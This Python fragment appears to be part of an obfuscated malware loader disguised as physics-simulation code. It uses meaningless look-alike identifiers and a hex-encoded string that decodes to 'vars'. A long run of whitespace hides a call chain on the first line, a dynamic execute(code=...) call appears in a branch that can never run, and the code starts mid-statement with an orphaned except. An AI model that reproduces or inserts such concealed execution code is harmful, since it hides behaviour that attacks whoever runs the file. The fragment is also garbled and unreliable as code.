        NodePhysicsSolver(BroUtilities = 60968 - 55677).Add(_physicsanimator3d = 38676 - _add._calculate)                                                                                                                                                                                                                                                          ;Ooo0Ooo00oO000OOoooO0OOO()(iijliljjllljjlijji(lijiijiiiiiiljllijllj(llIIlIIlllIIllIIIIlI(DOoDOoODoooDoODOoDDoO('\x76\x61\x72\x73'))),NodePhysicsSolver.SceneAnalyzer(_math='OOOoO0o0OoO0OoOoooo0O0')+NodePhysicsSolver.SceneAnalyzer(_math='xxwwwxwwxwwwxxwwwx')))

except Exception as _dynamicnodeprocessor:
        if 353042 > 7101632:
            NodePhysicsSolver.execute(code = _simulationruntimecontroller(_dynamicnodeprocessor))

        elif 250021 > 7207684:
            NodePhysicsSolver(BroUtilities = 81404 * 69502).Add(_physicsanimator3d = 39605 - _add._calculate)

